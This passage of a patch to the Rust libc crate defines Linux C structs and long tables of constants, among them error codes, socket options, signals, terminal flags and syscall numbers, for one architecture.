++ note="Please leave a comment on \
++ https://github.com/rust-lang/libc/pull/1316 if you're using \
++ this field"
++ )]
++ pub _pad: [::c_int; 29],
++ _align: [u64; 0],
++ }
++
++ pub struct stack_t {
++ pub ss_sp: *mut ::c_void,
++ pub ss_flags: ::c_int,
++ pub ss_size: ::size_t,
++ }
++
++ pub struct sigaction {
++ pub sa_sigaction: ::sighandler_t,
++ pub sa_mask: ::sigset_t,
++ pub sa_flags: ::c_int,
++ pub sa_restorer: ::Option<unsafe extern "C" fn()>,
++ }
++
++ pub struct ipc_perm {
++ pub __key: ::key_t,
++ pub uid: ::uid_t,
++ pub gid: ::gid_t,
++ pub cuid: ::uid_t,
++ pub cgid: ::gid_t,
++ pub mode: ::c_ushort,
++ __pad1: ::c_ushort,
++ pub __seq: ::c_ushort,
++ __pad2: ::c_ushort,
++ __unused1: ::c_ulong,
++ __unused2: ::c_ulong,
++ }
++
++ pub struct shmid_ds {
++ pub shm_perm: ::ipc_perm,
++ pub shm_segsz: ::size_t,
++ pub shm_atime: ::time_t,
++ pub shm_dtime: ::time_t,
++ pub shm_ctime: ::time_t,
++ pub shm_cpid: ::pid_t,
++ pub shm_lpid: ::pid_t,
++ pub shm_nattch: ::shmatt_t,
++ __unused5: ::c_ulong,
++ __unused6: ::c_ulong,
++ }
++
++ pub struct flock {
++ pub l_type: ::c_short,
++ pub l_whence: ::c_short,
++ pub l_start: ::off_t,
++ pub l_len: ::off_t,
++ pub l_pid: ::pid_t,
++ }
++
++ pub struct flock64 {
++ pub l_type: ::c_short,
++ pub l_whence: ::c_short,
++ pub l_start: ::off64_t,
++ pub l_len: ::off64_t,
++ pub l_pid: ::pid_t,
++ }
++
++ pub struct ip_mreqn {
++ pub imr_multiaddr: ::in_addr,
++ pub imr_address: ::in_addr,
++ pub imr_ifindex: ::c_int,
++ }
++}
++
++pub const POSIX_FADV_DONTNEED: ::c_int = 4;
++pub const POSIX_FADV_NOREUSE: ::c_int = 5;
++pub const VEOF: usize = 4;
++pub const RTLD_DEEPBIND: ::c_int = 0x8;
++pub const RTLD_GLOBAL: ::c_int = 0x100;
++pub const RTLD_NOLOAD: ::c_int = 0x4;
++pub const TIOCGSOFTCAR: ::c_ulong = 21529;
++pub const TIOCSSOFTCAR: ::c_ulong = 21530;
++pub const TIOCGRS485: ::c_int = 21550;
++pub const TIOCSRS485: ::c_int = 21551;
++pub const RLIMIT_RSS: ::__rlimit_resource_t = 5;
++pub const RLIMIT_AS: ::__rlimit_resource_t = 9;
++pub const RLIMIT_MEMLOCK: ::__rlimit_resource_t = 8;
++pub const RLIMIT_NOFILE: ::__rlimit_resource_t = 7;
++pub const RLIMIT_NPROC: ::__rlimit_resource_t = 6;
++pub const O_APPEND: ::c_int = 1024;
++pub const O_CREAT: ::c_int = 64;
++pub const O_EXCL: ::c_int = 128;
++pub const O_NOCTTY: ::c_int = 256;
++pub const O_NONBLOCK: ::c_int = 2048;
++pub const O_SYNC: ::c_int = 1052672;
++pub const O_RSYNC: ::c_int = 1052672;
++pub const O_DSYNC: ::c_int = 4096;
++pub const O_FSYNC: ::c_int = 1052672;
++pub const O_NOATIME: ::c_int = 262144;
++pub const O_PATH: ::c_int = 2097152;
++pub const O_TMPFILE: ::c_int = 4259840;
++pub const MAP_GROWSDOWN: ::c_int = 256;
++pub const EDEADLK: ::c_int = 35;
++pub const ENAMETOOLONG: ::c_int = 36;
++pub const ENOLCK: ::c_int = 37;
++pub const ENOSYS: ::c_int = 38;
++pub const ENOTEMPTY: ::c_int = 39;
++pub const ELOOP: ::c_int = 40;
++pub const ENOMSG: ::c_int = 42;
++pub const EIDRM: ::c_int = 43;
++pub const ECHRNG: ::c_int = 44;
++pub const EL2NSYNC: ::c_int = 45;
++pub const EL3HLT: ::c_int = 46;
++pub const EL3RST: ::c_int = 47;
++pub const ELNRNG: ::c_int = 48;
++pub const EUNATCH: ::c_int = 49;
++pub const ENOCSI: ::c_int = 50;
++pub const EL2HLT: ::c_int = 51;
++pub const EBADE: ::c_int = 52;
++pub const EBADR: ::c_int = 53;
++pub const EXFULL: ::c_int = 54;
++pub const ENOANO: ::c_int = 55;
++pub const EBADRQC: ::c_int = 56;
++pub const EBADSLT: ::c_int = 57;
++pub const EMULTIHOP: ::c_int = 72;
++pub const EOVERFLOW: ::c_int = 75;
++pub const ENOTUNIQ: ::c_int = 76;
++pub const EBADFD: ::c_int = 77;
++pub const EBADMSG: ::c_int = 74;
++pub const EREMCHG: ::c_int = 78;
++pub const ELIBACC: ::c_int = 79;
++pub const ELIBBAD: ::c_int = 80;
++pub const ELIBSCN: ::c_int = 81;
++pub const ELIBMAX: ::c_int = 82;
++pub const ELIBEXEC: ::c_int = 83;
++pub const EILSEQ: ::c_int = 84;
++pub const ERESTART: ::c_int = 85;
++pub const ESTRPIPE: ::c_int = 86;
++pub const EUSERS: ::c_int = 87;
++pub const ENOTSOCK: ::c_int = 88;
++pub const EDESTADDRREQ: ::c_int = 89;
++pub const EMSGSIZE: ::c_int = 90;
++pub const EPROTOTYPE: ::c_int = 91;
++pub const ENOPROTOOPT: ::c_int = 92;
++pub const EPROTONOSUPPORT: ::c_int = 93;
++pub const ESOCKTNOSUPPORT: ::c_int = 94;
++pub const EOPNOTSUPP: ::c_int = 95;
++pub const EPFNOSUPPORT: ::c_int = 96;
++pub const EAFNOSUPPORT: ::c_int = 97;
++pub const EADDRINUSE: ::c_int = 98;
++pub const EADDRNOTAVAIL: ::c_int = 99;
++pub const ENETDOWN: ::c_int = 100;
++pub const ENETUNREACH: ::c_int = 101;
++pub const ENETRESET: ::c_int = 102;
++pub const ECONNABORTED: ::c_int = 103;
++pub const ECONNRESET: ::c_int = 104;
++pub const ENOBUFS: ::c_int = 105;
++pub const EISCONN: ::c_int = 106;
++pub const ENOTCONN: ::c_int = 107;
++pub const ESHUTDOWN: ::c_int = 108;
++pub const ETOOMANYREFS: ::c_int = 109;
++pub const ETIMEDOUT: ::c_int = 110;
++pub const ECONNREFUSED: ::c_int = 111;
++pub const EHOSTDOWN: ::c_int = 112;
++pub const EHOSTUNREACH: ::c_int = 113;
++pub const EALREADY: ::c_int = 114;
++pub const EINPROGRESS: ::c_int = 115;
++pub const ESTALE: ::c_int = 116;
++pub const EDQUOT: ::c_int = 122;
++pub const ENOMEDIUM: ::c_int = 123;
++pub const EMEDIUMTYPE: ::c_int = 124;
++pub const ECANCELED: ::c_int = 125;
++pub const ENOKEY: ::c_int = 126;
++pub const EKEYEXPIRED: ::c_int = 127;
++pub const EKEYREVOKED: ::c_int = 128;
++pub const EKEYREJECTED: ::c_int = 129;
++pub const EOWNERDEAD: ::c_int = 130;
++pub const ENOTRECOVERABLE: ::c_int = 131;
++pub const EHWPOISON: ::c_int = 133;
++pub const ERFKILL: ::c_int = 132;
++pub const SOL_SOCKET: ::c_int = 1;
++pub const SO_REUSEADDR: ::c_int = 2;
++pub const SO_TYPE: ::c_int = 3;
++pub const SO_ERROR: ::c_int = 4;
++pub const SO_DONTROUTE: ::c_int = 5;
++pub const SO_BROADCAST: ::c_int = 6;
++pub const SO_SNDBUF: ::c_int = 7;
++pub const SO_RCVBUF: ::c_int = 8;
++pub const SO_SNDBUFFORCE: ::c_int = 32;
++pub const SO_RCVBUFFORCE: ::c_int = 33;
++pub const SO_KEEPALIVE: ::c_int = 9;
++pub const SO_OOBINLINE: ::c_int = 10;
++pub const SO_NO_CHECK: ::c_int = 11;
++pub const SO_PRIORITY: ::c_int = 12;
++pub const SO_LINGER: ::c_int = 13;
++pub const SO_BSDCOMPAT: ::c_int = 14;
++pub const SO_REUSEPORT: ::c_int = 15;
++pub const SO_PASSCRED: ::c_int = 16;
++pub const SO_PEERCRED: ::c_int = 17;
++pub const SO_RCVLOWAT: ::c_int = 18;
++pub const SO_SNDLOWAT: ::c_int = 19;
++pub const SO_RCVTIMEO: ::c_int = 20;
++pub const SO_SNDTIMEO: ::c_int = 21;
++pub const SO_SECURITY_AUTHENTICATION: ::c_int = 22;
++pub const SO_SECURITY_ENCRYPTION_TRANSPORT: ::c_int = 23;
++pub const SO_SECURITY_ENCRYPTION_NETWORK: ::c_int = 24;
++pub const SO_BINDTODEVICE: ::c_int = 25;
++pub const SO_ATTACH_FILTER: ::c_int = 26;
++pub const SO_DETACH_FILTER: ::c_int = 27;
++pub const SO_GET_FILTER: ::c_int = 26;
++pub const SO_PEERNAME: ::c_int = 28;
++pub const SO_TIMESTAMP: ::c_int = 29;
++pub const SO_ACCEPTCONN: ::c_int = 30;
++pub const SO_PEERSEC: ::c_int = 31;
++pub const SO_PASSSEC: ::c_int = 34;
++pub const SO_TIMESTAMPNS: ::c_int = 35;
++pub const SCM_TIMESTAMPNS: ::c_int = 35;
++pub const SO_MARK: ::c_int = 36;
++pub const SO_PROTOCOL: ::c_int = 38;
++pub const SO_DOMAIN: ::c_int = 39;
++pub const SO_RXQ_OVFL: ::c_int = 40;
++pub const SO_WIFI_STATUS: ::c_int = 41;
++pub const SCM_WIFI_STATUS: ::c_int = 41;
++pub const SO_PEEK_OFF: ::c_int = 42;
++pub const SO_NOFCS: ::c_int = 43;
++pub const SO_LOCK_FILTER: ::c_int = 44;
++pub const SO_SELECT_ERR_QUEUE: ::c_int = 45;
++pub const SO_BUSY_POLL: ::c_int = 46;
++pub const SO_MAX_PACING_RATE: ::c_int = 47;
++pub const SO_BPF_EXTENSIONS: ::c_int = 48;
++pub const SO_INCOMING_CPU: ::c_int = 49;
++pub const SO_ATTACH_BPF: ::c_int = 50;
++pub const SO_DETACH_BPF: ::c_int = 27;
++pub const SOCK_STREAM: ::c_int = 1;
++pub const SOCK_DGRAM: ::c_int = 2;
++pub const SA_ONSTACK: ::c_int = 134217728;
++pub const SA_SIGINFO: ::c_int = 4;
++pub const SA_NOCLDWAIT: ::c_int = 2;
++pub const SIGTTIN: ::c_int = 21;
++pub const SIGTTOU: ::c_int = 22;
++pub const SIGXCPU: ::c_int = 24;
++pub const SIGXFSZ: ::c_int = 25;
++pub const SIGVTALRM: ::c_int = 26;
++pub const SIGPROF: ::c_int = 27;
++pub const SIGWINCH: ::c_int = 28;
++pub const SIGCHLD: ::c_int = 17;
++pub const SIGBUS: ::c_int = 7;
++pub const SIGUSR1: ::c_int = 10;
++pub const SIGUSR2: ::c_int = 12;
++pub const SIGCONT: ::c_int = 18;
++pub const SIGSTOP: ::c_int = 19;
++pub const SIGTSTP: ::c_int = 20;
++pub const SIGURG: ::c_int = 23;
++pub const SIGIO: ::c_int = 29;
++pub const SIGSYS: ::c_int = 31;
++pub const SIGSTKFLT: ::c_int = 16;
++pub const SIGPOLL: ::c_int = 29;
++pub const SIGPWR: ::c_int = 30;
++pub const SIG_SETMASK: ::c_int = 2;
++pub const SIG_BLOCK: ::c_int = 0;
++pub const SIG_UNBLOCK: ::c_int = 1;
++pub const POLLWRNORM: ::c_short = 256;
++pub const POLLWRBAND: ::c_short = 512;
++pub const O_ASYNC: ::c_int = 8192;
++pub const O_NDELAY: ::c_int = 2048;
++pub const PTRACE_DETACH: ::c_uint = 17;
++pub const EFD_NONBLOCK: ::c_int = 2048;
++pub const F_GETLK: ::c_int = 5;
++pub const F_GETOWN: ::c_int = 9;
++pub const F_SETOWN: ::c_int = 8;
++pub const F_SETLK: ::c_int = 6;
++pub const F_SETLKW: ::c_int = 7;
++pub const F_RDLCK: ::c_int = 0;
++pub const F_WRLCK: ::c_int = 1;
++pub const F_UNLCK: ::c_int = 2;
++pub const F_OFD_GETLK: ::c_int = 36;
++pub const F_OFD_SETLK: ::c_int = 37;
++pub const F_OFD_SETLKW: ::c_int = 38;
++pub const SFD_NONBLOCK: ::c_int = 2048;
++pub const TCSANOW: ::c_int = 0;
++pub const TCSADRAIN: ::c_int = 1;
++pub const TCSAFLUSH: ::c_int = 2;
++pub const TIOCLINUX: ::c_ulong = 21532;
++pub const TIOCGSERIAL: ::c_ulong = 21534;
++pub const TIOCEXCL: ::c_ulong = 21516;
++pub const TIOCNXCL: ::c_ulong = 21517;
++pub const TIOCSCTTY: ::c_ulong = 21518;
++pub const TIOCSTI: ::c_ulong = 21522;
++pub const TIOCMGET: ::c_ulong = 21525;
++pub const TIOCMBIS: ::c_ulong = 21526;
++pub const TIOCMBIC: ::c_ulong = 21527;
++pub const TIOCMSET: ::c_ulong = 21528;
++pub const TIOCCONS: ::c_ulong = 21533;
++pub const TIOCM_ST: ::c_int = 8;
++pub const TIOCM_SR: ::c_int = 16;
++pub const TIOCM_CTS: ::c_int = 32;
++pub const TIOCM_CAR: ::c_int = 64;
++pub const TIOCM_RNG: ::c_int = 128;
++pub const TIOCM_DSR: ::c_int = 256;
++pub const SFD_CLOEXEC: ::c_int = 524288;
++pub const NCCS: usize = 32;
++pub const O_TRUNC: ::c_int = 512;
++pub const O_CLOEXEC: ::c_int = 524288;
++pub const EBFONT: ::c_int = 59;
++pub const ENOSTR: ::c_int = 60;
++pub const ENODATA: ::c_int = 61;
++pub const ETIME: ::c_int = 62;
++pub const ENOSR: ::c_int = 63;
++pub const ENONET: ::c_int = 64;
++pub const ENOPKG: ::c_int = 65;
++pub const EREMOTE: ::c_int = 66;
++pub const ENOLINK: ::c_int = 67;
++pub const EADV: ::c_int = 68;
++pub const ESRMNT: ::c_int = 69;
++pub const ECOMM: ::c_int = 70;
++pub const EPROTO: ::c_int = 71;
++pub const EDOTDOT: ::c_int = 73;
++pub const SA_NODEFER: ::c_int = 1073741824;
++pub const SA_RESETHAND: ::c_int = -2147483648;
++pub const SA_RESTART: ::c_int = 268435456;
++pub const SA_NOCLDSTOP: ::c_int = 1;
++pub const EPOLL_CLOEXEC: ::c_int = 524288;
++pub const EFD_CLOEXEC: ::c_int = 524288;
++pub const __SIZEOF_PTHREAD_CONDATTR_T: usize = 4;
++pub const __SIZEOF_PTHREAD_MUTEXATTR_T: usize = 4;
++pub const O_DIRECT: ::c_int = 16384;
++pub const O_DIRECTORY: ::c_int = 65536;
++pub const O_NOFOLLOW: ::c_int = 131072;
++pub const MAP_HUGETLB: ::c_int = 262144;
++pub const MAP_LOCKED: ::c_int = 8192;
++pub const MAP_NORESERVE: ::c_int = 16384;
++pub const MAP_ANON: ::c_int = 32;
++pub const MAP_ANONYMOUS: ::c_int = 32;
++pub const MAP_DENYWRITE: ::c_int = 2048;
++pub const MAP_EXECUTABLE: ::c_int = 4096;
++pub const MAP_POPULATE: ::c_int = 32768;
++pub const MAP_NONBLOCK: ::c_int = 65536;
++pub const MAP_STACK: ::c_int = 131072;
++pub const MAP_SYNC : ::c_int = 0x080000;
++pub const EDEADLOCK: ::c_int = 35;
++pub const EUCLEAN: ::c_int = 117;
++pub const ENOTNAM: ::c_int = 118;
++pub const ENAVAIL: ::c_int = 119;
++pub const EISNAM: ::c_int = 120;
++pub const EREMOTEIO: ::c_int = 121;
++pub const FIOCLEX: ::c_ulong = 21585;
++pub const FIONCLEX: ::c_ulong = 21584;
++pub const FIONBIO: ::c_ulong = 21537;
++pub const MCL_CURRENT: ::c_int = 1;
++pub const MCL_FUTURE: ::c_int = 2;
++pub const SIGSTKSZ: ::size_t = 8192;
++pub const MINSIGSTKSZ: ::size_t = 2048;
++pub const CBAUD: ::tcflag_t = 4111;
++pub const TAB1: ::tcflag_t = 2048;
++pub const TAB2: ::tcflag_t = 4096;
++pub const TAB3: ::tcflag_t = 6144;
++pub const CR1: ::tcflag_t = 512;
++pub const CR2: ::tcflag_t = 1024;
++pub const CR3: ::tcflag_t = 1536;
++pub const FF1: ::tcflag_t = 32768;
++pub const BS1: ::tcflag_t = 8192;
++pub const VT1: ::tcflag_t = 16384;
++pub const VWERASE: usize = 14;
++pub const VREPRINT: usize = 12;
++pub const VSUSP: usize = 10;
++pub const VSTART: usize = 8;
++pub const VSTOP: usize = 9;
++pub const VDISCARD: usize = 13;
++pub const VTIME: usize = 5;
++pub const IXON: ::tcflag_t = 1024;
++pub const IXOFF: ::tcflag_t = 4096;
++pub const ONLCR: ::tcflag_t = 4;
++pub const CSIZE: ::tcflag_t = 48;
++pub const CS6: ::tcflag_t = 16;
++pub const CS7: ::tcflag_t = 32;
++pub const CS8: ::tcflag_t = 48;
++pub const CSTOPB: ::tcflag_t = 64;
++pub const CREAD: ::tcflag_t = 128;
++pub const PARENB: ::tcflag_t = 256;
++pub const PARODD: ::tcflag_t = 512;
++pub const HUPCL: ::tcflag_t = 1024;
++pub const CLOCAL: ::tcflag_t = 2048;
++pub const ECHOKE: ::tcflag_t = 2048;
++pub const ECHOE: ::tcflag_t = 16;
++pub const ECHOK: ::tcflag_t = 32;
++pub const ECHONL: ::tcflag_t = 64;
++pub const ECHOPRT: ::tcflag_t = 1024;
++pub const ECHOCTL: ::tcflag_t = 512;
++pub const ISIG: ::tcflag_t = 1;
++pub const ICANON: ::tcflag_t = 2;
++pub const PENDIN: ::tcflag_t = 16384;
++pub const NOFLSH: ::tcflag_t = 128;
++pub const CIBAUD: ::tcflag_t = 269418496;
++pub const CBAUDEX: ::tcflag_t = 4096;
++pub const VSWTC: usize = 7;
++pub const OLCUC: ::tcflag_t = 2;
++pub const NLDLY: ::tcflag_t = 256;
++pub const CRDLY: ::tcflag_t = 1536;
++pub const TABDLY: ::tcflag_t = 6144;
++pub const BSDLY: ::tcflag_t = 8192;
++pub const FFDLY: ::tcflag_t = 32768;
++pub const VTDLY: ::tcflag_t = 16384;
++pub const XTABS: ::tcflag_t = 6144;
++pub const B0: ::speed_t = 0;
++pub const B50: ::speed_t = 1;
++pub const B75: ::speed_t = 2;
++pub const B110: ::speed_t = 3;
++pub const B134: ::speed_t = 4;
++pub const B150: ::speed_t = 5;
++pub const B200: ::speed_t = 6;
++pub const B300: ::speed_t = 7;
++pub const B600: ::speed_t = 8;
++pub const B1200: ::speed_t = 9;
++pub const B1800: ::speed_t = 10;
++pub const B2400: ::speed_t = 11;
++pub const B4800: ::speed_t = 12;
++pub const B9600: ::speed_t = 13;
++pub const B19200: ::speed_t = 14;
++pub const B38400: ::speed_t = 15;
++pub const EXTA: ::speed_t = 14;
++pub const EXTB: ::speed_t = 15;
++pub const B57600: ::speed_t = 4097;
++pub const B115200: ::speed_t = 4098;
++pub const B230400: ::speed_t = 4099;
++pub const B460800: ::speed_t = 4100;
++pub const B500000: ::speed_t = 4101;
++pub const B576000: ::speed_t = 4102;
++pub const B921600: ::speed_t = 4103;
++pub const B1000000: ::speed_t = 4104;
++pub const B1152000: ::speed_t = 4105;
++pub const B1500000: ::speed_t = 4106;
++pub const B2000000: ::speed_t = 4107;
++pub const B2500000: ::speed_t = 4108;
++pub const B3000000: ::speed_t = 4109;
++pub const B3500000: ::speed_t = 4110;
++pub const B4000000: ::speed_t = 4111;
++pub const VEOL: usize = 11;
++pub const VEOL2: usize = 16;
++pub const VMIN: usize = 6;
++pub const IEXTEN: ::tcflag_t = 32768;
++pub const TOSTOP: ::tcflag_t = 256;
++pub const FLUSHO: ::tcflag_t = 4096;
++pub const EXTPROC: ::tcflag_t = 65536;
++pub const TCGETS: ::c_ulong = 21505;
++pub const TCSETS: ::c_ulong = 21506;
++pub const TCSETSW: ::c_ulong = 21507;
++pub const TCSETSF: ::c_ulong = 21508;
++pub const TCGETA: ::c_ulong = 21509;
++pub const TCSETA: ::c_ulong = 21510;
++pub const TCSETAW: ::c_ulong = 21511;
++pub const TCSETAF: ::c_ulong = 21512;
++pub const TCSBRK: ::c_ulong = 21513;
++pub const TCXONC: ::c_ulong = 21514;
++pub const TCFLSH: ::c_ulong = 21515;
++pub const TIOCINQ: ::c_ulong = 21531;
++pub const TIOCGPGRP: ::c_ulong = 21519;
++pub const TIOCSPGRP: ::c_ulong = 21520;
++pub const TIOCOUTQ: ::c_ulong = 21521;
++pub const TIOCGWINSZ: ::c_ulong = 21523;
++pub const TIOCSWINSZ: ::c_ulong = 21524;
++pub const FIONREAD: ::c_ulong = 21531;
++pub const __SIZEOF_PTHREAD_MUTEX_T: usize = 40;
++pub const __SIZEOF_PTHREAD_RWLOCK_T: usize = 56;
++pub const SYS_read: ::c_long = 63;
++pub const SYS_write: ::c_long = 64;
++pub const SYS_close: ::c_long = 57;
++pub const SYS_fstat: ::c_long = 80;
++pub const SYS_lseek: ::c_long = 62;
++pub const SYS_mmap: ::c_long = 222;
++pub const SYS_mprotect: ::c_long = 226;
++pub const SYS_munmap: ::c_long = 215;
++pub const SYS_brk: ::c_long = 214;
++pub const SYS_rt_sigaction: ::c_long = 134;
++pub const SYS_rt_sigprocmask: ::c_long = 135;
++pub const SYS_rt_sigreturn: ::c_long = 139;
++pub const SYS_ioctl: ::c_long = 29;
++pub const SYS_pread64: ::c_long = 67;
++pub const SYS_pwrite64: ::c_long = 68;
++pub const SYS_readv: ::c_long = 65;
++pub const SYS_writev: ::c_long = 66;
++pub const SYS_sched_yield: ::c_long = 124;
++pub const SYS_mremap: ::c_long = 216;
++pub const SYS_msync: ::c_long = 227;
++pub const SYS_mincore: ::c_long = 232;
++pub const SYS_madvise: ::c_long = 233;
++pub const SYS_shmget: ::c_long = 194;
++pub const SYS_shmat: ::c_long = 196;
++pub const SYS_shmctl: ::c_long = 195;
++pub const SYS_dup: ::c_long = 23;
++pub const SYS_nanosleep: ::c_long = 101;
++pub const SYS_getitimer: ::c_long = 102;
++pub const SYS_setitimer: ::c_long = 103;
++pub const SYS_getpid: ::c_long = 172;
++pub const SYS_sendfile: ::c_long = 71;
++pub const SYS_socket: ::c_long = 198;
++pub const SYS_connect: ::c_long = 203;
++pub const SYS_accept: ::c_long = 202;
++pub const SYS_sendto: ::c_long = 206;
++pub const SYS_recvfrom: ::c_long = 207;
++pub const SYS_sendmsg: ::c_long = 211;
++pub const SYS_recvmsg: ::c_long = 212;
++pub const SYS_shutdown: ::c_long = 210;
++pub const SYS_bind: ::c_long = 200;
++pub const SYS_listen: ::c_long = 201;
++pub const SYS_getsockname: ::c_long = 204;
++pub const SYS_getpeername: ::c_long = 205;
++pub const SYS_socketpair: ::c_long = 199;
++pub const SYS_setsockopt: ::c_long = 208;
++pub const SYS_getsockopt: ::c_long = 209;
++pub const SYS_clone: ::c_long = 220;
++pub const SYS_execve: ::c_long = 221;
++pub const SYS_exit: ::c_long = 93;
++pub const SYS_wait4: ::c_long = 260;
++pub const SYS_kill: ::c_long = 129;
++pub const SYS_uname: ::c_long = 160;
++pub const SYS_semget: ::c_long = 190;
++pub const SYS_semop: ::c_long = 193;
++pub const SYS_semctl: ::c_long = 191;
++pub const SYS_shmdt: ::c_long = 197;
++pub const SYS_msgget: ::c_long = 186;
++pub const SYS_msgsnd: ::c_long = 189;
++pub const SYS_msgrcv: ::c_long = 188;
++pub const SYS_msgctl: ::c_long = 187;
++pub const SYS_fcntl: ::c_long = 25;
++pub const SYS_flock: ::c_long = 32;
++pub const SYS_fsync: ::c_long = 82;
++pub const SYS_fdatasync: ::c_long = 83;
++pub const SYS_truncate: ::c_long = 45;
++pub const SYS_ftruncate: ::c_long = 46;
++pub const SYS_getcwd: ::c_long = 17;
++pub const SYS_chdir: ::c_long = 49;
++pub const SYS_fchdir: ::c_long = 50;
++pub const SYS_fchmod: ::c_long = 52;
++pub const SYS_fchown: ::c_long = 55;
++pub const SYS_umask: ::c_long = 166;
++pub const SYS_gettimeofday: ::c_long = 169;
++pub const SYS_getrlimit: ::c_long = 163;
++pub const SYS_getrusage: ::c_long = 165;
++pub const SYS_sysinfo: ::c_long = 179;
++pub const SYS_times: ::c_long = 153;
++pub const SYS_ptrace: ::c_long = 117;
++pub const SYS_getuid: ::c_long = 174;
++pub const SYS_syslog: ::c_long = 116;
++pub const SYS_getgid: ::c_long = 176;
++pub const SYS_setuid: ::c_long = 146;
++pub const SYS_setgid: ::c_long = 144;
++pub const SYS_geteuid: ::c_long = 175;
++pub const SYS_getegid: ::c_long = 177;
++pub const SYS_setpgid: ::c_long = 154;
++pub const SYS_getppid: ::c_long = 173;
++pub const SYS_setsid: ::c_long = 157;
++pub const SYS_setreuid: ::c_long = 145;
++pub const SYS_setregid: ::c_long = 143;
++pub const SYS_getgroups: ::c_long = 158;
++pub const SYS_setgroups: ::c_long = 159;
++pub const SYS_setresuid: ::c_long = 147;
++pub const SYS_getresuid: ::c_long = 148;
++pub const SYS_setresgid: ::c_long = 149;
++pub const SYS_getresgid: ::c_long = 150;
++pub const SYS_getpgid: ::c_long = 155;
++pub const SYS_setfsuid: ::c_long = 151;
++pub const SYS_setfsgid: ::c_long = 152;
++pub const SYS_getsid: ::c_long = 156;
++pub const SYS_capget: ::c_long = 90;
++pub const SYS_capset: ::c_long = 91;
++pub const SYS_rt_sigpending: ::c_long = 136;
++pub const SYS_rt_sigtimedwait: ::c_long = 137;
++pub const SYS_rt_sigqueueinfo: ::c_long = 138;
++pub const SYS_rt_sigsuspend: ::c_long = 133;
++pub const SYS_sigaltstack: ::c_long = 132;
++pub const SYS_personality: ::c_long = 92;
++pub const SYS_statfs: ::c_long = 43;
++pub const SYS_fstatfs: ::c_long = 44;
++pub const SYS_getpriority: ::c_long = 141;
++pub const SYS_setpriority: ::c_long = 140;
++pub const SYS_sched_setparam: ::c_long = 118;
++pub const SYS_sched_getparam: ::c_long = 121;
++pub const SYS_sched_setscheduler: ::c_long = 119;
++pub const SYS_sched_getscheduler: ::c_long = 120;
++pub const SYS_sched_get_priority_max: ::c_long = 125;
++pub const SYS_sched_get_priority_min: ::c_long = 126;
++pub const SYS_sched_rr_get_interval: ::c_long = 127;
++pub const SYS_mlock: ::c_long = 228;
++pub const SYS_munlock: ::c_long = 229;
++pub const SYS_mlockall: ::c_long = 230;
++pub const SYS_munlockall: ::c_long = 231;
++pub const SYS_vhangup: ::c_long = 58;
++pub const SYS_pivot_root: ::c_long = 41;
++pub const SYS_prctl: ::c_long = 167;
++pub const SYS_adjtimex: ::c_long = 171;
++pub const SYS_setrlimit: ::c_long = 164;
++pub const SYS_chroot: ::c_long = 51;
++pub const SYS_sync: ::c_long = 81;
++pub const SYS_acct: ::c_long = 89;
++pub const SYS_settimeofday: ::c_long = 170;
++pub const SYS_mount: ::c_long = 40;
++pub const SYS_umount2: ::c_long = 39;
++pub const SYS_swapon: ::c_long = 224;
++pub const SYS_swapoff: ::c_long = 225;
++pub const SYS_reboot: ::c_long = 142;
++pub const SYS_sethostname: ::c_long = 161;
++pub const SYS_setdomainname: ::c_long = 162;
++pub const SYS_init_module: ::c_long = 105;
++pub const SYS_delete_module: ::c_long = 106;
++pub const SYS_quotactl: ::c_long = 60;
++pub const SYS_nfsservctl: ::c_long = 42;
++pub const SYS_gettid: ::c_long = 178;
++pub const SYS_readahead: ::c_long = 213;
++pub const SYS_setxattr: ::c_long = 5;
++pub const SYS_lsetxattr: ::c_long = 6;
++pub const SYS_fsetxattr: ::c_long = 7;
++pub const SYS_getxattr: ::c_long = 8;
++pub const SYS_lgetxattr: ::c_long = 9;
++pub const SYS_fgetxattr: ::c_long = 10;
++pub const SYS_listxattr: ::c_long = 11;
++pub const SYS_llistxattr: ::c_long = 12;
++pub const SYS_flistxattr: ::c_long = 13;
++pub const SYS_removexattr: ::c_long = 14;
++pub const SYS_lremovexattr: ::c_long = 15;
++pub const SYS_fremovexattr: ::c_long = 16;
++pub const SYS_tkill: ::c_long = 130;
++pub const SYS_futex: ::c_long = 98;
++pub const SYS_sched_setaffinity: ::c_long = 122;
++pub const SYS_sched_getaffinity: ::c_long = 123;
++pub const SYS_io_setup: ::c_long = 0;
++pub const SYS_io_destroy: ::c_long = 1;
++pub const SYS_io_getevents: ::c_long = 4;
++pub const SYS_io_submit: ::c_long = 2;
++pub const SYS_io_cancel: ::c_long = 3;
++pub const SYS_lookup_dcookie: ::c_long = 18;
++pub const SYS_remap_file_pages: ::c_long = 234;
++pub const SYS_getdents64: ::c_long = 61;
++pub const SYS_set_tid_address: ::c_long = 96;
++pub const SYS_restart_syscall: ::c_long = 128;
++pub const SYS_semtimedop: ::c_long = 192;
++pub const SYS_fadvise64: ::c_long = 223;
++pub const SYS_timer_create: ::c_long = 107;
++pub const SYS_timer_settime: ::c_long = 110;
++pub const SYS_timer_gettime: ::c_long = 108;
++pub const SYS_timer_getoverrun: ::c_long = 109;
++pub const SYS_timer_delete: ::c_long = 111;
++pub const SYS_clock_settime: ::c_long = 112;
++pub const SYS_clock_gettime: ::c_long = 113;
++pub const SYS_clock_getres: ::c_long = 114;
++pub const SYS_clock_nanosleep: ::c_long = 115;
++pub const SYS_exit_group: ::c_long = 94;
++pub const SYS_epoll_ctl: ::c_long = 21;
++pub const SYS_tgkill: ::c_long = 131;
++pub const SYS_mbind: ::c_long = 235;
++pub const SYS_set_mempolicy: ::c_long = 237;
++pub const SYS_get_mempolicy: ::c_long = 236;
++pub const SYS_mq_open: ::c_long = 180;
++pub const SYS_mq_unlink: ::c_long = 181;
++pub const SYS_mq_timedsend: ::c_long = 182;
++pub const SYS_mq_timedreceive: ::c_long = 183;
++pub const SYS_mq_notify: ::c_long = 184;
++pub const SYS_mq_getsetattr: ::c_long = 185;
++pub const SYS_kexec_load: ::c_long = 104;
++pub const SYS_waitid: ::c_long = 95;
++pub const SYS_add_key: ::c_long = 217;
++pub const SYS_request_key: ::c_long = 218;
++pub const SYS_keyctl: ::c_long = 219;
++pub const SYS_ioprio_set: ::c_long = 30;
++pub const SYS_ioprio_get: ::c_long = 31;
++pub const SYS_inotify_add_watch: ::c_long = 27;
++pub const SYS_inotify_rm_watch: ::c_long = 28;
++pub const SYS_migrate_pages: ::c_long = 238;
++pub const SYS_openat: ::c_long = 56;
++pub const SYS_mkdirat: ::c_long = 34;
++pub const SYS_mknodat: ::c_long = 33;
++pub const SYS_fchownat: ::c_long = 54;
++pub const SYS_newfstatat: ::c_long = 79;
++pub const SYS_unlinkat: ::c_long = 35;
